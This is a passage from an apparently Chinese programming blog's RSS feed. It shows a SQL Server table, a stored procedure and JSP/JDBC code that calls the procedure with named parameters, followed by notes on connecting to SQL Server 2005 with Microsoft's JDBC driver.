&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最近做了个Java的小项目（第一次写Java的项目哦）， 到网上搜索了半天，找到了一个比较好点的调用存储过程的例子，而且网上普遍采用的都是setXXX((int parameterIndex, XXX x)的形式。这种形式感觉不是很直观，下面就发布一个完整的采用setXXX(String parameterName, XXX x)的编写方法。创建数据表，存储过程的代码都完整发布。 &lt;br&gt;&lt;br&gt;　　创建表：&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;table width="90%" align="center" bgcolor="#d8d7d3"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;&lt;div&gt;&lt;span style="COLOR: #0000ff"&gt;CREATE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;TABLE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;BookUser&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;UserID&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;int&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff00ff"&gt;IDENTITY&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;, &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;) &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;UserName&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;) COLLATE Chinese_PRC_CI_AS &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;Title&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;nvarchar&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;) COLLATE Chinese_PRC_CI_AS &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;Guid&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;uniqueidentifier&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;CONSTRAINT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;DF_BookUser_Guid&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;DEFAULT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="COLOR: #ff00ff"&gt;newid&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;()),&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;BirthDate&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;datetime&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;Description&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;ntext&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; COLLATE Chinese_PRC_CI_AS &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;Photo&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;image&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;Other&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;) COLLATE Chinese_PRC_CI_AS &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;NULL&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;CONSTRAINT&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;DF_BookUser_Other&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;DEFAULT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;默认值&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;),&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;CONSTRAINT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;PK_BookUser&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;PRIMARY&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;KEY&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;CLUSTERED&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;UserID&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; )&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;ON&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;PRIMARY&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;br&gt;) &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;ON&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;PRIMARY&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; TEXTIMAGE_ON &lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;[&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;PRIMARY&lt;/span&gt;&lt;span style="COLOR: #ff0000"&gt;]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;GO&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;　　创建存储过程：&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;table width="90%" align="center" bgcolor="#d8d7d3"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;&lt;div&gt;&lt;span style="COLOR: #0000ff"&gt;CREATE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;PROCEDURE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; InsertUser&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@UserName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;),&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Title&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;varchar&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;255&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;),&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Guid&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;uniqueidentifier&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@BirthDate&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Description&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;ntext&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Photo&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;image&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Other&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;nvarchar&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;50&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;),&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@UserID&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; output &lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;As&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;Set&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; NOCOUNT &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;ON&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;If&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;Exists&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; (&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;select&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; UserID &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;from&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; BookUser &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;Where&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; UserName &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@UserName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;RETURN&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;ELSE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;Begin&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;INSERT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;INTO&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; BookUser (UserName,Title,Guid,BirthDate,Description,Photo,Other) &lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;VALUES&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@UserName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Title&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Guid&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@BirthDate&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Description&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Photo&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@Other&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;SET&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #008000"&gt;@UserID&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="COLOR: #808080"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #008000"&gt;@@IDENTITY&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;RETURN&lt;/span&gt;&lt;span style="COLOR: #000000"&gt; &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;End&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;GO&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;　　JSP代码：&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;table width="90%" align="center" bgcolor="#d8d7d3"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;＜%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%＞&lt;br&gt;＜%@ page import = "java.sql.*"%＞&lt;br&gt;＜!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"＞&lt;br&gt;＜html xmlns="http://www.w3.org/1999/xhtml"＞&lt;br&gt;＜head＞&lt;br&gt;＜/head＞&lt;br&gt;＜body＞&lt;br&gt;＜%&lt;br&gt;//注意：下面的连接方法采用最新的SQL Server的JDBC，&lt;br&gt;//请到 http://msdn2.microsoft.com/zh-cn/data/aa937724.aspx 下载&lt;br&gt;Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");&lt;br&gt;String url="jdbc:sqlserver://localhost:1433;databaseName=Book;user=sa;password="; &lt;br&gt;String sql = "{? = call InsertUser(?,?,?,?,?,?,?,?)}"; &lt;br&gt;Connection cn = null;&lt;br&gt;CallableStatement cmd = null;&lt;br&gt;try&lt;br&gt;{&lt;br&gt;　cn = DriverManager.getConnection(url);&lt;br&gt;　cmd = cn.prepareCall(sql);&lt;br&gt;　java.util.UUID Guid = java.util.UUID.randomUUID();&lt;br&gt;　String FilePath = application.getRealPath("") + "\test\logo.gif";&lt;br&gt;　java.io.FileInputStream f = new java.io.FileInputStream(FilePath); &lt;br&gt;　Date rightNow = Date.valueOf("2007-9-9");&lt;br&gt;　cmd.setString("UserName","mengxianhui"); //注意修改这里，存储过程验证了UserName的唯一性。&lt;br&gt;　cmd.setString("Title","孟宪会");&lt;br&gt;　cmd.setString("Guid",Guid.toString());&lt;br&gt;　cmd.setString("BirthDate","2007-9-9");&lt;br&gt;　cmd.setDate("BirthDate",rightNow);&lt;br&gt;　cmd.setString("Description","【孟子E章】");&lt;br&gt;　cmd.setBinaryStream("Photo",f,f.available());&lt;br&gt;　cmd.setString("Other",null);&lt;br&gt;　cmd.registerOutParameter(1,java.sql.Types.INTEGER);&lt;br&gt;　cmd.registerOutParameter("UserID",java.sql.Types.INTEGER);&lt;br&gt;　cmd.execute();&lt;br&gt;　int returnValue = cmd.getInt(1);&lt;br&gt;　int UserID = cmd.getInt("UserID");&lt;br&gt;　if(returnValue == 1)&lt;br&gt;　{&lt;br&gt;　　out.print("＜li＞添加成功！");&lt;br&gt;　　out.print("＜li＞UserID = " + UserID);&lt;br&gt;　　out.print("＜li＞returnValue = " + returnValue);&lt;br&gt;　}&lt;br&gt;　else&lt;br&gt;　{&lt;br&gt;　　out.print("＜li＞添加失败！");&lt;br&gt;　}&lt;br&gt;　f.close();&lt;br&gt;}&lt;br&gt;catch(Exception ex)&lt;br&gt;{&lt;br&gt;　out.print(ex.getLocalizedMessage());&lt;br&gt;}&lt;br&gt;finally&lt;br&gt;{&lt;br&gt;　try&lt;br&gt;　{&lt;br&gt;　　if(cmd != null)　&lt;br&gt;　　{&lt;br&gt;　　　cmd.close();&lt;br&gt;　　　cmd = null;&lt;br&gt;　　}&lt;br&gt;　　if(cn != null)&lt;br&gt;　　{&lt;br&gt;　　　cn.close();&lt;br&gt;　　　cn = null;&lt;br&gt;　　}&lt;br&gt;　}&lt;br&gt;　catch(Exception e)&lt;br&gt;　{&lt;br&gt;　　e.printStackTrace();&lt;br&gt;　}&lt;br&gt;}&lt;br&gt;%＞&lt;br&gt;＜/body＞&lt;br&gt;＜/html＞&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=96</guid><pubDate>Mon, 03 Sep 2007 05:09:00 GMT</pubDate></item><item><title>[JDBC]通过JDBC连接连接SQL2005</title><link>http://www.chendw.cn:8080/view.aspx?id=94</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;最近心血来潮装了个SQL2005，但又不想像删除2000，所以同时装了SQL2005和2000，但是通过代码怎么也连接不上2005的数据库，上网找了下才发现驱动有点变化。&lt;/p&gt;&lt;p&gt;先去微软下载最新的jdbc驱动&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://www.microsoft.com/downloads/thankyou.aspx?familyId=e22bc83b-32ff-4474-a44a-22b6ae2c4e17&amp;amp;displayLang=zh-cn"&gt;点击下载&lt;/a&gt;&lt;/p&gt;&lt;p&gt;把解压出来的sqljdbc.jar放到相应的lib目录下&lt;/p&gt;&lt;p&gt;具体的详细配置请查看解压包help目录下的说明很详细&lt;/p&gt;&lt;div class="section"&gt;&lt;p&gt;连接 URL 的一般形式为：&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://serverName\instance:port;property=value[;property=value]&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;其中：&lt;/p&gt;&lt;ul&gt;&lt;li&gt;jdbc:sqlserver://（必需）称为子协议，且为常数。 &lt;br&gt;&lt;br&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;serverName&lt;/strong&gt;（可选）是连接到的服务器的地址。它可以是 DNS 或 IP 地址，也可以是本地主机或本地计算机的 127.0.0.1。它还可以通过使用 serverName 和 instanceName 命名值对来指定，但不允许重复。&lt;br&gt;&lt;br&gt;&lt;/li&gt;    &lt;li&gt;instanceName（可选）是 serverName 上要连接到的实例。如果未指定，则会连接到默认实例。&lt;br&gt;&lt;br&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;port&lt;/strong&gt;（可选）是 serverName 上要连接到的端口。默认为 1433。如果使用默认端口，则无需在 URL 中指定端口及其前面的“:”。它还可以通过使用 portNumber 命名值对来指定。&lt;br&gt;&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;    &lt;div style="MARGIN: 0.5em 1.5em"&gt;&lt;strong&gt;注意： &lt;/strong&gt;若要获得最佳连接性能，应在连接到指定实例时设置 portNumber。这将避免为了确定端口号而与服务器通讯。 &lt;p&gt; &lt;/p&gt;&lt;/div&gt;    &lt;ul&gt;&lt;li&gt;&lt;strong&gt;property&lt;/strong&gt;（可选）是一个或多个选项连接属性。有关详细信息，请参阅&lt;a href="file:///C:/Documents%20and%20Settings/Administrator/桌面/Microsoft%20SQL%20Server%202005%20JDBC%20Driver/sqljdbc_1.0/chs/help/html/f1b62700-f046-488d-bd6b-a5cd8fc345b7.htm"&gt;&lt;font color="#810081"&gt;设置连接属性&lt;/font&gt;&lt;/a&gt;。可指定该列表中的任何属性。属性只能用分号（“;”）分隔，且不允许重复。 &lt;br&gt;&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;        &lt;div style="MARGIN: 0.5em 1.5em"&gt;&lt;strong&gt;警告： &lt;/strong&gt;出于安全考虑，应避免根据用户输入的内容创建连接 URL。只应在 URL 中指定服务器名称和驱动程序。对于用户名和密码值，请使用连接属性集。有关 JDBC 应用程序中安全性的详细信息，请参阅&lt;a href="file:///C:/Documents%20and%20Settings/Administrator/桌面/Microsoft%20SQL%20Server%202005%20JDBC%20Driver/sqljdbc_1.0/chs/help/html/90724ec6-a9cb-43ef-903e-793f89410bc0.htm"&gt;保护 JDBC 驱动程序应用程序&lt;/a&gt;。 &lt;p&gt; &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;        &lt;h1 class="heading"&gt;连接示例&lt;/h1&gt;        &lt;div class="section"&gt;&lt;content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5"&gt;&lt;/content&gt;&lt;p&gt;连接到本地计算机上的默认数据库：&lt;/p&gt;        &lt;p&gt;&lt;code&gt;&lt;font face="NSimsun"&gt;jdbc:sqlserver://localhost;user=MyUserName;password=*****&lt;/font&gt;&lt;/code&gt;&lt;/p&gt;        